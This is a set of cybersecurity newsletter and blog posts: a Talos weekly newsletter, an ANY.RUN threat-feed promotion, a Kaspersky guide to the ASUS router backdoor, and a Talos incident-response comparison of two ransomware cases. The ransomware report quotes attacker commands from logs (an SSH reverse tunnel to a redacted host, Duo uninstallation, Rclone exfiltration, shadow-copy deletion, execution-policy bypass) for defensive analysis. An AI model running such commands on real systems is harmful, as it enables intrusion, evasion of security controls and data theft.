Welcome to this week’s edition of the Threat Source newsletter.

Burnout is a real issue for people in cybersecurity. We protect the systems that allow modern life to function. Our hours are long, our sense of responsibility real and occasionally heavy. Everyone notices when we have a bad day and an attack evades our protections, but nobody notices our best days when complex threats are detected and neutralized. Our failures are very visible, while our successes are imperceptible to others. This, coupled with a professional propensity to always consider negative outcomes, is a recipe for poor mental health – not to mention that we most of our waking hours sitting in front of screens, engaging with machines.

Making a difference and stopping the bad guys means being in cybersecurity for the long haul. Experience is built with each new deployment and each resolved incident. Sometimes the worst incidents are in retrospect the best learning experiences. Professional experience is gained through many years of struggle. Losing a team member through burnout or being unable to continue with a career in the domain is a personal tragedy and a loss of experience to the entire cybersecurity community.

Various factors contribute to the high stress loads felt by cybersecurity teams. Many of these, such as the nature and frequency of attacks, are outside of our control. Others, such as budget approval or the appropriate prioritisation of projects, often appear close to being under control before somehow getting derailed.

We might not be able to control external factors, but we can manage our own responses to the stress that we face. Firstly, set boundaries and stick to them. Once your shift is over, stop working – and that includes thinking about it. This is easier said than done, but unless there is a real emergency, practice stepping away from work at the end of the day. Leaving work at work allows you to destress during your free time. 

Second, prioritize fun activities that don’t involve work or computers. Set aside time during your week to do something that you enjoy. Having many different activities and pastimes in your life helps provide balance. If one aspect of your life is particularly tough, then balance that with another part of your life which is going well. Personally, I find joy and escape in trail running. Finding myself deep in the countryside as far away from computer screens as possible provides me with time to recharge and recover.

Detecting threats and stopping the bad guys requires more than technical prowess. We must be committed to looking after ourselves, and each other, and to disconnecting from our passion for the work to continue doing it for years to come. 

The one big thing  

Cisco Talos identified a Malware-as-a-Service (MaaS) operation in early 2025 that used the Emmenhtal loader and Amadey malware to deliver malicious payloads targeting Ukrainian entities, often via public GitHub repositories. Talos worked with GitHub to remove these malicious accounts and recommends security solutions to prevent similar threats. 

Why do I care?  

This operation shows how easily adversaries can use trusted platforms like GitHub to deliver malware, making it more difficult for organizations to detect and block threats — especially if GitHub access is required for legitimate purposes.   

So now what?

Organizations should review their security policies around GitHub access, deploy advanced security controls and remain vigilant for phishing campaigns and malware leveraging public repositories to minimize the risk of compromise.

Top security headlines of the week  

Four arrested in connection with M&S and Co-op cyber-attacks 
The National Crime Agency (NCA) says a 20-year-old woman was arrested in Staffordshire, and three males – aged between 17 and 19 – were detained in London and the West Midlands. (BBC)

Patch immediately: CVE-2025-25257 PoC enables remote code execution on Fortinet FortiWeb  
The flaw allows unauthenticated attackers to execute remote code by writing malicious files to the server’s filesystem, potentially leading to full remote code execution. (Security Affairs)

Train brakes can be hacked over radio — and the industry knew for 20 years 
“Successful exploitation… could allow an attacker to send their own brake control commands to the end-of-train device, causing a sudden stoppage of the train which may lead to a disruption of operations, or induce brake failure,” CISA said. (SecurityWeek)

Episource is notifying millions of people that their health data was stolen 
The breach affects more than 5.4 million people, making it one of the largest healthcare breaches of the year so far. The attacker stole personal information and protected health data. (TechCrunch)

Can’t get enough Talos? 

The significance of timeliness in incident response 
Cisco Talos IR compares two real-world ransomware engagements and shares how the organizations’ response times made all the difference in the outcome of an attack.

Talos Takes: Why attackers love your remote access tools
Attackers are increasingly abusing the same remote access tools that IT teams rely on every day. In this episode, Hazel sits down with Talos security researcher Pierre Cadieux to unpack why these legitimate tools have become such an effective tactic for adversaries.

TTP: The next phase of LLM abuse 
Talos researcher Jaeson Schultz explores how cybercriminals are starting to integrate LLMs into full attack workflows, and even experiment with manipulating the data these models rely on.

Upcoming events where you can find Talos  

• NIRMA (July 28 – 30) St. Augustine, FL 
• Black Hat USA (Aug. 2 – 7) Las Vegas, NV

Most prevalent malware files from Talos telemetry over the past week   

SHA 256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 
MD5: 2915b3f8b703eb744fc54c81f4a9c67f 
VirusTotal: https://www.virustotal.com/gui/file/9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 
Typical Filename: VID001.exe 
Claimed Product: N/A 
Detection Name: Win.Worm.Coinminer::1201

SHA 256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91   
MD5: 7bdbd180c081fa63ca94f9c22c457376 
VirusTotal: https://www.virustotal.com/gui/file/a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91/details 
Typical Filename: IMG001.exe  
Claimed Product: N/A 
Detection Name: Simple_Custom_Detection

SHA256: 47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca 
MD5: 71fea034b422e4a17ebb06022532fdde  
VirusTotal: https://www.virustotal.com/gui/file/47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca/details 
Typical Filename: VID001.exe  
Claimed Product: N/A  
Detection Name: Coinminer:MBT.26mw.in14.Talos 

Cisco Talos Blog – ​Read More

Managed Security Service Providers (MSSPs) are tasked with protecting multiple clients simultaneously while maintaining cost efficiency, rapid response times, and customer trust. The key to success lies in early threat detection, which requires access to high-quality, actionable threat intelligence that can be immediately applied across diverse client environments.  

Main MSSP Challenges

MSSPs operate in a complex environment where they must deliver consistent security outcomes across varied client infrastructures.  

Resource constraints create additional pressure. False positives consume valuable analyst time, while missed threats can damage client relationships and business reputation. 

The heterogeneous nature of client environments means MSSPs must work with different security tools, network architectures, and threat landscapes. Additionally, MSSPs must demonstrate clear value to clients while competing on both service quality and cost.  

Threat Intelligence Feeds: Boosting MSSP Performance 

Threat intelligence turns raw data into actionable insights, helping MSSPs prioritize threats, streamline workflows, and respond quickly. Real-time, high-quality intelligence reduces false positives, improves detection accuracy, and optimizes resource use, enhancing client outcomes. 

High-quality threat intelligence feeds are crucial for MSSPs to stay ahead of threats. They provide: 

• Timely Data: Fresh indicators of compromise (IOCs) enable rapid action before threats spread. 

• Contextual Insights: Detailed threat behavior data supports informed decision-making. 

• Scalable Integration: Feeds must work seamlessly across varied client systems. 

• Automation Support: Automated integration speeds up responses and reduces manual effort. 

How ANY.RUN’s Threat Intelligence Feeds Help MSSPs Keep Ahead 

ANY.RUN‘s Threat Intelligence Feeds empower Managed Security Service Providers (MSSPs) to detect threats early across diverse client infrastructures, delivering real-time, context-enriched indicators of active threat campaigns.  
 
By integrating these feeds, MSSPs can optimize their workflows and directly support their clients’ business objectives. The key benefits of ANY.RUN’s feeds are designed to enhance operational efficiency and drive measurable business outcomes for MSSPs and their clients.

Expanding Threat Monitoring and Detection Across All Clients

ANY.RUN’s TI Feeds draw from a vast, reliable data source, collecting threat indicators from live sandbox investigations of the latest threats by security teams at 15,000 organizations worldwide. Updated every two hours, these feeds provide fresh malicious IPs, domains, and URLs that have been used by threat actors for only a short time. 

This near-instant delivery ensures MSSPs can spot threats that are still active right now across all client systems, whether they’re cloud-based or traditional setups. By catching threats early, MSSPs protect clients’ operations, prevent disruptions, and maintain trust across their customer base.

Informing Response to Stop Incidents Before Major Impact

Each threat indicator includes links to detailed sandbox reports that explain how attacks work, including their methods and behaviors (e.g., how malware communicates or spreads). This clear insight helps MSSPs build stronger defenses and respond quickly to specific threats. 

For example, knowing an attack’s pattern allows security teams to block it before it causes harm, improving accuracy and reducing risks. The proactive approach prevents business interruptions, protects sensitive data, and reassures clients that their operations are secure.

Reducing Costs, Easing Team Workloads, and Scaling Services

ANY.RUN’s feeds are built for automation, working smoothly with common security tools like SIEM, XDR, threat intelligence platforms, and firewalls. They support standard formats (STIX, MISP, TAXII) and offer easy API and SDK integration for quick, automated setup. 

Automation means less manual work for analysts, as threat data is automatically fed into systems to flag or block risks. By cutting down on repetitive tasks, MSSPs can manage more clients with less effort, lowering costs while maintaining top-notch protection.

Get a demo sample of ANY.RUN’s Threat Intelligence Feeds with custom parameters.

TI Feeds Performance: Turning IOC Data into Business Value 

ANY.RUN’s Threat Intelligence Feeds enable MSSPs to optimize their operations and deliver tangible business value to clients, including minimized downtime, enhanced competitiveness, cost efficiency, and stronger client retention through proactive threat prevention. 

All these features and benefits transform into a number of business advantages for MSSPs. Threat Intelligence Feeds enable them to: 

• Minimize client downtime and operational disruption: Early detection of threats protects against widespread incidents that could affect multiple clients. Real-time indicators of active threat campaigns enable identification of threats regardless of which client environment they target first, preventing cascading failures across the MSSP’s customer base. 

• Optimize operational efficiency and reduce costs: Reduce analyst workload by supplying ready-to-use IOCs and comprehensive context data that eliminates time-consuming threat research and validation activities. Pre-processed, actionable intelligence allows analysts to manage more clients with existing resources, improving profit margins while maintaining service quality. 
   
• Strengthen client retention and satisfaction: Block malware proactively before it strikes: the proactive approach prevents incidents rather than merely detecting them after they occur, reducing client impact and demonstrating measurable security value. 

Integrate ANY.RUN’s Threat Intelligence Feeds

You can test ANY.RUN’s TI Feeds in STIX and MISP formats by downloading a free sample on this page.

To get access to the full version of TI Feeds with the latest indicators, please contact us for a trial.

• Spot and block attacks quickly to prevent disruptions and damage.  
• Keep your detection systems updated with fresh data to proactively detect emerging threats.   
• Handle incidents faster to lower financial and brand damage.   

ANY.RUN also runs a dedicated MISP instance that you

Conclusion 

ANY.RUN’s Threat Intelligence Feeds enable MSSPs to tackle their toughest challenges. With fresh, actionable, and context-rich IOCs, these feeds support early threat detection, streamline operations, and enhance client protection. MSSPs using ANY.RUN’s solution can strengthen their security posture, differentiate in a competitive market, and deliver exceptional value to clients. 

About ANY.RUN 

ANY.RUN helps more than 500,000 cybersecurity professionals and 15,000 corporate security teams worldwide. Our interactive sandbox simplifies malware analysis of threats that target both Windows and Linux systems. Our threat intelligence products, TI Lookup, YARA Search, and Feeds, help you find IOCs or files to learn more about the threats and respond to incidents faster. 

Request trial of ANY.RUN’s services to test them in your organization→  

The post How MSSPs Detect Incidents Early with Threat Intelligence Feeds from ANY.RUN   appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

A recently disclosed breach of thousands of ASUS home routers goes to show that your home Wi-Fi access point isn’t just useful to you (and possibly your neighbors) — it’s also coveted by cybercriminals and even state-sponsored hackers carrying out targeted espionage attacks. This new attack, presumably linked to the infamous APT31 group, is still ongoing. What makes it especially dangerous is its stealthy nature and the unconventional approach required to defend against it. That’s why it’s crucial to understand why malicious actors target routers — and how to protect yourself from these hacker tricks.

How compromised routers are exploited

• Residential proxy. When hackers target large companies or government agencies, the attacks are often detected by unusual IP addresses attempting to access the secured network. It’s highly suspicious when a company operates in one country, but an employee suddenly logs in to the corporate network from another. Logins from known VPN-server addresses are equally suspect. To mask their activities, cybercriminals use compromised routers located in the country — and sometimes even in the specific city — close to their intended target. They funnel all their requests through your router, which then forwards the data to the target computer. To monitoring systems, this looks just like a regular employee accessing work resources from home — nothing to raise any eyebrows.
• Command-and-control server. Attackers can host malware on the compromised device for target computers to download. Or, conversely, they can exfiltrate data from the network directly to your router.
• Honeypot for competitors. A router can be used as bait (a honeypot) to study the techniques used by other hacker groups.
• Mining rig. Any computing device can be used for crypto mining. Using a router for mining isn’t particularly efficient, but when a cybercriminal isn’t paying for electricity or equipment, it still pays off for them.
• Traffic manipulation tool. A compromised router can intercept and alter the contents of internet connections. This allows attackers to target any device connected to the home network. The range of applications for this technique is broad: from stealing passwords to injecting ads into web pages.
• DDoS bot. Any home device, including routers, baby monitors, smart speakers, and even smart kettles, can be linked together into a botnet and used to overwhelm any online service with millions of simultaneous requests from those devices.

These options appeal to various groups of attackers. While mining, ad injection, and DDoS attacks are typically of interest to financially motivated cybercriminals, targeted attacks launched from behind a residential IP address are usually carried out either by ransomware gangs or by groups engaged in genuine espionage. This sounds like something out of a spy novel, but it’s so widespread that the U.S. Cybersecurity and Infrastructure Security Agency (CISA) and FBI have issued multiple warnings about it at various times. True to form, spies operate with utmost stealth, so router owners rarely ever notice that their device is being used for more than its intended purpose.

How routers get hacked

The two most common ways to hack a router are by brute-forcing the password to its administration interface and by exploiting software vulnerabilities in its firmware. In the first scenario, attackers take advantage of owners leaving the router with its factory settings and the default password admin, or have changed the password to something simple to remember — and easy to guess, like 123456. Once they crack the password, attackers can log in to the control panel just like the owner would.

In the second scenario, attackers remotely probe the router to identify its manufacturer and model, then try known vulnerabilities one by one to seize control of the device.

Typically, after a successful hack, they install hidden malware on the router to perform their desired functions. You may spot that something’s wrong when your internet slows down, your router’s CPU is working overtime, or the router itself even starts overheating. A factory reset or firmware update usually eliminates the threat. However, the recent attacks on ASUS routers were a different story.

What makes the ASUS attacks different, and how to spot them

The main thing about this attack is that you can’t fix it with a simple firmware update. Attackers set up a hidden backdoor with administrative access that persists through regular reboots and firmware updates.

To start the attack, the malicious actor employs both of the techniques described above. If brute-forcing the admin password fails, attackers exploit two vulnerabilities to bypass authentication entirely.

From this point on, the attack becomes more sophisticated. The attackers use yet another vulnerability to activate the router’s built-in SSH remote management feature. They then add their own cryptographic key to the settings, which allows them to connect to the device and control it.

Few home users ever manage their router using SSH or check the settings section where administrative keys are listed, so this access technique can go unnoticed for years.

All three vulnerabilities exploited in this attack have since been patched by the vendor. However, if your router was previously compromised, updating its firmware won’t remove the backdoor. You need to open your router’s settings and check if an SSH server is enabled — listening on port 53282. If so, disable the SSH server and delete the administrative SSH key, which starts with the characters

AAAAB3NzaC1yc2EA

If you’re not sure how to do all that, there’s a more drastic solution: a full factory reset.

It’s not just ASUS

The researchers who discovered the ASUS attack believe it’s part of a broader campaign that has hit around 60 types of home and office devices, including video surveillance systems, NAS boxes, and office VPN servers. Affected devices include D-Link DIR-850L S, Cisco RV042, Araknis Networks AN-300-RT-4L2W, Linksys LRT224, and some QNAP devices. The attacks on these unfold a bit differently, but share the same general features: exploiting vulnerabilities, using built-in device functions to gain control, and maintaining stealth. According to the researchers’ assessments, compromised devices are being exploited to reroute traffic and monitor the attack techniques employed by rival threat actors. These attacks are attributed to a “well-resourced and highly capable” hacking group. However, similar techniques have been adopted by targeted attack groups around the world — which is why home routers in any moderately large country are now an enticing target for them.

Takeaways and tips

The attack on ASUS home routers displays classic signs of targeted intrusions: stealth, compromise without using malware, and the creation of persistent access channels that remain open even after the vulnerability is patched and the firmware is updated. So, what can a home user do to defend against such attackers?

• Your choice of router matters. Don’t settle for the standard-issue router your provider rents out to you, and don’t just shop for the cheapest option. Browse the selection at electronics retailers, and choose a model released within the last year or two so you can be sure to receive firmware updates for years to come. Try to pick a manufacturer that takes security seriously. This is tricky, as there are no perfect options out there. You can generally use the frequency of firmware updates and the manufacturer’s stated period of support as a guide. You can find the latest router security news on sites like Router Security, but don’t expect to find any “good tales” there — it’s more useful for finding “anti-heroes”.
• Update your device’s firmware regularly. If your router offers an automatic update feature, it’s best to enable it so you don’t have to worry about manual updates or falling behind. Still, it’s a good idea to check your router’s status, settings, and firmware version a few times a year. If you haven’t received a firmware update in 12-18 months, it may be time to consider replacing your router with a newer model.
• Disable all unnecessary services on your router. Go through all the settings and turn off any features or extras you don’t use.
• Disable administrative access to your router from the internet (WAN) through all management channels (SSH, HTTPS, Telnet, and whatever else).
• Disable mobile router management apps. Although convenient, these apps introduce a range of new risks — in addition to your smartphone and router, a proprietary cloud service will likely be involved. For this reason, it’s best to disable this management method and avoid using it.
• Change the default passwords for both router administration and Wi-Fi access. These passwords shouldn’t match. Each should be long and not consist of obvious words or numbers. If your router allows it, change the admin username to something unique.
• Use comprehensive protection for your home network. For example, Kaspersky Premium comes with a smart-home protection module that monitors for common problems like vulnerable devices and weak passwords. If your smart home monitoring detects weak spots or a new device on your network that you haven’t previously identified as known, it will alert you and provide recommendations for securing your network.
• Check every page of your router’s configuration. Look for the following suspicious signs: (1) port forwarding to unknown devices on your home network or the internet, (2) new user accounts you didn’t create, and (3) unfamiliar SSH keys or any other login credentials. If you find anything like this, search online for your router model combined with the suspicious information you’ve discovered, such as a username or port address. If you can’t find any mention of the issue you discovered as a documented system feature of your router, remove that data.
• Subscribe to our Telegram channel, and stay up to date on all cybersecurity news.

For more tips on choosing, setting up, and protecting your smart home devices — along with information on other hacker threats targeting your household electronics — check out these posts:

• How to plan your smart home and get the most out of the devices you already own
• How to secure your smart home: an in-depth guide
• How the smart home installed by a developer or property management company can be hacked
• Three reasons not to use smart locks
• The hidden threats of router malware

Kaspersky official blog – ​Read More

• Cisco Talos routinely responds to ransomware engagements where the impact could have been mitigated or wholly prevented if the victim organization had initiated remediation efforts earlier in the attack lifecycle. The significance of early intervention in ransomware attacks is particularly exemplified by two recent Talos Incident Response (Talos IR) ransomware engagements. 
• In one incident, the victim engaged Talos IR immediately after discovering malicious activity alerts. Talos IR worked swiftly to combat additional malicious activity and prevented the execution of any encryption in the environment. 
• Conversely, in a second incident, the victim ignored alerts of malicious activity and did not contact Talos IR until after the ransomware binary began to execute. Talos IR was then not provided network access for analysis for over a day, during which time the actors achieved nearly 100% host encryption. 
• While there are many factors that can impact the success and severity of a ransomware attack, such as an actor’s sophistication and advanced tooling, close similarities between these two ransomware engagements led us to negate that these variables significantly influenced the disparate outcomes between these two attacks. 

---

Introduction 

As ransomware threat actors continuously decrease their dwell time — here defined as the duration between initial access and encryption — it is increasingly imperative to be mindful of timeliness in incident response engagements (Infosecurity Magazine, CyberScoop, Orca, ThreatDown). Early intervention and remediation can significantly mitigate or even wholly prevent repercussions of ransomware attacks, such as financial loss, reputational damage and legal repercussions, as exemplified by a comparison of two recent Talos IR engagements.

In both these cases, the threat actors leveraged similar tools and tactics, techniques and procedures (TTPs) and the victim was alerted to suspicious activity prior to ransomware execution, yet one engagement resulted in 0% network encryption while the other victim experienced nearly 100% encryption.

Talos assesses that encryption occurred due to several time delays at pivotal moments. First, Talos was not employed to start an IR engagement until after the ransomware binary was executed, despite early warnings, which allowed the actor to initiate encryption. Then, Talos was provided network access over 30 hours after the engagement began, during which time the actors obtained widespread encryption. For context, according to Talos data, many ransomware variants can seize complete control of a network in just 24-48 hours after initial access. Furthermore, these delays also allowed the threat actor to employ defensive measures that severely limited Talos’ ability to retroactively analyze system logs, a crucial step toward remediating the threat and hardening the network.

Description of attack lifecycles  

Engagement 1: Data theft without encryption 

In late April, Chaos ransomware affiliates gained an initial foothold into a victim environment via social engineering. They sent a flood of spam emails to a single user, then contacted the user in Microsoft Teams masquerading as IT support. During the Microsoft Teams session, the adversary guided the user to launch Microsoft Quick Assist and enter their credentials into an unknown login page, which ultimately provided access to the account. That same day, the victim was alerted to the security breach and engaged Talos IR to mitigate the threat, allowing Talos IR to review activity logs before the adversary could completely delete or modify them. 

The affiliates relied heavily on living-off-the-land binaries (LoLBins) and dual-use tools to conduct post-compromise activity and leveraged Impacket’s “atexec.py” module to execute commands remotely, specifically leveraging the Task Scheduler service. They began exploring the victim’s environment using Windows command line utilities like “ipconfig /all” to list network connections, “nltest /dclist” to list the domain controllers (DCs) within Active Directory (AD) and “quser.exe” to query information about user sessions. We also observed multiple outbound connections to adversary-controlled IP addresses using OpenSSH, an open-source suite of secure networking utilities that provide encrypted communication channels to create a reverse proxy SSH connection.

C:WindowsSystem32OpenSSHssh.exe -R :12840 -N REDACTED-p 443 -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no

To move laterally within the environment, the adversary used Microsoft Remote Desktop and Advanced IP Scanner to obtain access to new accounts and maintained persistence by changing account passwords to lock users out.  

Notably, the actors used multiple remote monitoring and management (RMM) applications on different system tiers (e.g., workstations, servers and DCs) to ensure persistent remote access across multiple phases of the operation and to perform slightly different functions: 

• Microsoft Quick Assist socially engineered the victim to install the tool for initial access. 
• AnyDesk was likely the primary method of remote access as it was found on a majority of compromised systems. 
• OptiTune was leveraged to deploy ScreenConnect RMM on a number of hosts. 
• SplashTop was leveraged to enumerate activities on at least one host. 

They also took precautionary measures to evade detection, like uninstalling Duo from the host:

C:WINDOWSsystem32cmd.EXE, /c, wmic, product, where, name=Duo Authentication for Windows Logon x64, call, uninstall, /nointeractive:

A renamed Rclone executable was ran via command line to copy files from a network share:

wininit.exe, copy, --max-age, 1y, --exclude, *{psd,7z,mox,pst,FIT,FIL,MOV,mdb,iso,exe,dll,wav,png,db,log,HEIC,dwg,tmp,vhdx,msi}, \REDACTEDdata, REDACTED/data, -q, --ignore-existing, --auto-confirm, --multi-thread-streams, 25, --transfers, 15, --b2-disable-checksum, -P

Finally, just hours after initial access, the adversary launched the script “backup.sh”, a normal process found on ESXi hosts. Talos IR suspects the adversary leveraged the script to deliver the ransomware executable. We observed attempts to encrypt data on the victim’s VPN that were ultimately unsuccessful.

Engagement 2: Nearly 100% encryption 

In the second engagement, the victim ignored alerts from Cisco’s Managed Detection and Response (MDR) of malicious activity and did not contact Talos IR until after the Medusa ransomware binary began to execute. Then, Talos IR was not provided network access for analysis for over a day, during which time the actors achieved nearly 100% host encryption.

A retroactive analysis of the limited logs that remained after encryption revealed the actors similarly relied on dual-use tools. For remote access they used SimpleHelp, a legitimate RMM tool that is commonly abused by ransomware actors and, since January 2025, has been routinely exploited for path traversal (CVE-2024-57727). Talos IR also observed several remote incoming desktop connections from suspicious IP addresses, beacon activity from the commonly abused Brute Ratel C4 (BRC4) red teaming tool, and Windows APIs invoked that could be leveraged for data collection:  

• Getnativesysteminfo determines the underlying hardware architecture and characteristics of a system, including the type of processor, number of processors and memory page size. 
• Telemetry:api_invoke is the invocation of a Telemetry API. Attackers may monitor or trigger api_invoke events to discover what APIs are available, which users or services call which APIs and which cloud services are used, leveraging corresponding “telemetry:api_invoke” logs for environment enumeration. 
• Bcryptgeneratesymmetrickey generates keys for AES decryption.

The adversary established command and control (C2) using JWrapper, a component of SimpleHelp that is often used by IT support and therefore may not be identified as malicious. JWrapper can also be leveraged to stealthily execute files and exfiltrate data, as it is designed to package Java applications into native executable formats for Windows, macOS and Linux. In this attack, the actors used it to execute a file that disabled the User Access Control in the registry by setting the Windows PromptOnSecureDektop record to false:

C:ProgramDataJWrapper-Remote AccessJWrapper-Remote Access Bundle-00112084494JWrapperTemp-1745261021-3-appbin windowslauncher.exe  
MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystemPromptOnSecureDesktop

JWrapper was also likely used to exfiltrate data:

C:ProgramDataJWrapper-Remote AccessJWrapper-Remote Access Bundle-00112084494JWrapperTemp-1745261021-3-appbinwindowslauncher.exe

The actors gained unauthorized access to remotely read and modify files within the System32 folder, a critical part of the Windows OS containing essential files needed for the system to function properly, and attempted to delete volume shadow copies from the folder, a common tactic to inhibit data recovery:

C:WindowsSystem32vssadmin.exe 'delete' 'shadows' '/shadow={5aa57685-c258-4396-b702-6722ab58e603}

They also executed Impacket in the System32 folder via PsExec remote copy and execution:

C:Windowssystem32services.exe, C:Windowssystem32msiexec.exe /V, C:Windowssyswow64MsiExec.exe -Embedding 27A094D718378410D2002AE3023D3731 E GlobalMSI0000

Analysis

Talos IR assesses that victim response time was the dominant factor that caused the discrepancy in impact. All other factors were incredibly similar, such as the actor’s level of sophistication, the victims’ endpoint security and Talos IR’s response. In both attacks, the affiliates displayed a similar level of sophistication in their tools, heavily using LoLBins and dual-use tools throughout the attack lifecycle. Examples include shared use of Msiexec, WMIC and PowerShell LoLBins and legitimate RMM tools. The actors also both used Impacket to execute commands remotely over SMB or WMI without deploying new payloads and used ADMIN$ administrative shares to propagate malware. A more sophisticated actor may have opted to use a custom malware, similar to the recently discovered Betruger backdoor, which is rarely seen in ransomware attacks.

In both cases, the actors also used similarly sophisticated TTPs to obtain widespread network access. They attempted to evade detection and analysis by deleting or modifying files, logs, and tools, and they were able to compromise the victims’ System32 folder and administrative accounts.

While Talos IR acknowledges that there are a few minor differences between these two engagements, these would not indicate a significant disparity. For example, the actors used different paid legitimate software to scan IPs and different RMM tools, but this would not have played any significant role in the impact to the victim.

We also observed that both victims had a similar flaw in endpoint hygiene by using the outdated PowerShell version 1.0 that was exploited by both threat actors. PowerShell 1.0 lacks several critical security features present in later iterations, making it difficult to detect and analyze malicious activity. For instance, the PowerShell 1.0 execution policy can be easily bypassed using inline execution “powershell.exe -ExecutionPolicy Bypass” or by modifying policy values in memory or the registry. This means scripts can be run without being digitally signed or verified, a common vector for ransomware payloads. Additionally, PowerShell 1.0 does not support Constrained Language Mode (CLM), which in later versions restricts access to .NET classes and APIs that can be exploited for lateral movement or privilege escalation. Without CLM, an attacker gains unrestricted access to the full breadth of PowerShell’s capabilities, including registry manipulation, WMI queries, COM object interaction and raw .NET assembly loading — all of which can be used to establish persistence or elevate privileges.

Finally, both victims received notifications of malicious activity prior to ransomware execution and, once the victims chose to engage Talos, we provided the same level of assistance. 

Timely log analysis enables quick recovery 

Early engagement with one of the victims and continued communication throughout allowed Talos IR to access the system logs before they could be deleted or modified, which likely helped the victim avoid encryption. Logs are a crucial component of remediating ransomware engagements for many reasons: 

• Identifying weaknesses in network security that the actor exploited so they can be fixed 
• Understanding what data was compromised so the victim can understand the potential fallout and notify the affected customers 
• Establishing a baseline to help easily identify anomalies that indicate suspicious behavior (particularly important considering many ransomware affiliates leverage legitimate tools) 
• Identifying adversary’s routine tools and TTPs to know how to identify future malicious activity, where to place detection systems to prevent future malicious activity and potentially attribute the activity to a particular actor 
• Determining the actor’s goal (e.g., financial theft or espionage) to protect data the actor is likely trying to access 
• Observing a clear path indicating a certain target will be compromised, or viewing failed attempts at a compromise, to preemptively harden the target 

While Talos IR provided some similar remediation recommendations for each victim due to overlaps in activity, the victim that waited to engage Talos IR received more general recommendations because they had limited logs to review, preventing Talos from understanding the full scope of malicious activity that occurred and how the adversary was able to compromise their network.

	Recommendations based on limited access to logs	Tailored recommendations   based on logs
Protect against malicious use of RMM software	Only allow RMM software that is allowed by the company. All other RMMs should be blocked.	Based on malicious SSH remote connection, make sure malicious IPs are blocked. Also consider blocking SSH at the firewall level.
Secure passwords	Conduct a full password reset for all accounts, including all privileged accounts, service accounts, user accounts and local accounts.	Adversaries had access to hosts, which gave them access to the unencrypted data stored in their browsers. To help prevent this vulnerability in the future, implement GPOs to disable users from storing credentials and PII in browsers.
Bar the adversary from moving laterally	No recommendations provided due to limited visibility	Consider migrating to Entra ID instead of the hybrid AD approach as this would have helped prevent the adversary’s lateral movement in the environment.

Recommendations 

• Raise awareness of phishing and social engineering. Given ransomware actors’ proficiency in using a wide array of techniques to obtain initial access, user education is a key part of spotting phishing attempts, countering MFA bypass techniques and knowing where to report unauthorized access attempts.  
• Monitor and prevent unnecessary and/or unauthorized use of system administration tools, such as PowerShell, and adhering to zero trust principles. Restrict access to employees who need these for legitimate business purposes. Use of these tools should be logged and audited. 
• Protect logs from modification or deletion. Consider creating service control policies (SCP) for cloud-based resources to prevent users or roles, across the organization, from being able to access specific services or take specific actions within services. For example, the SCP can be used to restrict users from being able to delete logs, update virtual private cloud (VPC) configurations and change log configurations. Additionally, log process execution events and deploy Sysmon to enhance logging capabilities on Windows devices. 
• Restrict the use of RMM and dual-use tools. Review logs for execution of RMM software to detect abnormal use, such as RMM software only being loaded in memory and block both inbound and outbound connections on common RMM ports and protocols at the network perimeter. 
• Employ data loss prevention (DLP) strategies to prevent unauthorized disclosure or leakage. These include data classification policies, data handling policies, user awareness and training and DLP software that can identify and block unauthorized data transfer attempts.

Protections   

Chaos    

Unix.Malware.Chaos-6474834-0   

Signature Name: Unix.Malware.Chaos-6474902-0   

45975  

Medusa   

63929, 63928   

300998   

33058-33060   

Signature Name: Andr.Ransomware.Medusa-10033530-0   

Signature Name: PUA.Win.Tool.BestCrypt-10033531-0   

Signature Name: Win.Ransomware.Medusa_Note-10033532-0

Indicators of compromise (IOCs) 

Chaos    

Filename	SHA256	Status/Description
Wavesor.exe	19ab3c8645d6806ae8a1dad707a86aba344a48d1612aeb5aa145f96ac0e24a03	Malware that can be used to capture critical information
wininit.exe	5540f27f12db5a9e954727079665a282f905a0be787b76d798ca79a318d197f5	Renamed version of rclone
Advanced_IP_Scanner_2.5.4594.1.exe	26d5748ffe6bd95e3fee6ce184d388a1a681006dc23a0f08d53c083c593c193	IP scanner used for discovery
screensaver.exe	87b3e3462263d7d42dea2bac6c3144181bab22092276f527a94a33af473066d5	ScreenConnect
otservice.exe	b5c63f895d27d0572289cb49058ea83b1e49c46a62ca51b4ab44d119111594a4	OptiTune RMM used to deploy ScreenConnect
supportcenter.exe	1ede8d91db625a605535488d1c36a5ea7ba3950194cabe7664ffa7ed6a9aab45	OptiTune RMM
bvscript.exe	9d2fe8a4a229ed2990e33a0330a00c03a415435c3cabd9a42dd882673522bee4	OptiTune RMM Bravura Script Host tool
otpowershell.exe	10a87144386b2869d1bbc40e50f6960d4eb4316d1fd1c1df8708361a7b837b98	OptiTune PowerShell tool
remoteservice.exe	4b6ff966ec6509e86c4a1cbf71d71bf434e08e0aae097a57015ad493db4a3912	OptiTune Remote Service tool
realtimeagent.exe	6a3072a2367329b564c9bf77302a5fbf66673fb471c22fc56a12e901c4d90477	OptiTune Real Time Agent tool
advanced_ip_scanner.exe	4b036cc9930bb42454172f888b8fde1087797fc0c9d31ab546748bd2496bd3e5	IP scanner used for discovery
goodsync.exe	8127614d1906befc82ebc75fc0992e7dbad64ed2233fe316df611bf89ac4df2e	Data exfiltration tool
screenconnect.exe	05016485b683ef6d40bfd805702924909197ee2483a66ffc8a22dc03e4891045	Unknown executable placed on host ‘PKIWEBSVR’.
syncro.installer.exe	845f4d73a0d96898535593c411d924d8c8c3af1dd3ead5f824242bb841d53c8e	Syncro RMM installer
setuputil.exe	1837087e75de428c18acec7f2ef7576752396a3a1ef15450230734e9ee194b28	Splashtop Streamer installer
anydesk.exe	6ccea6a959128112613d7a82c067f8ccc78f05f1f8f47348fc9fecf269f0f21a	Malicious use of AnyDesk
QuickAssist.exe ms-quick-assist	8f67faad634acf0f2971caf8b7ac96e8f05de795b74feec8b82ea168b7be820b	Executable that “patient zero” was socially engineered into running
splashtop.exe	03a613c62ae7470e70e0197ea5133625308dc2ac2c5574608d2b6e20c8f94015	Splashtop
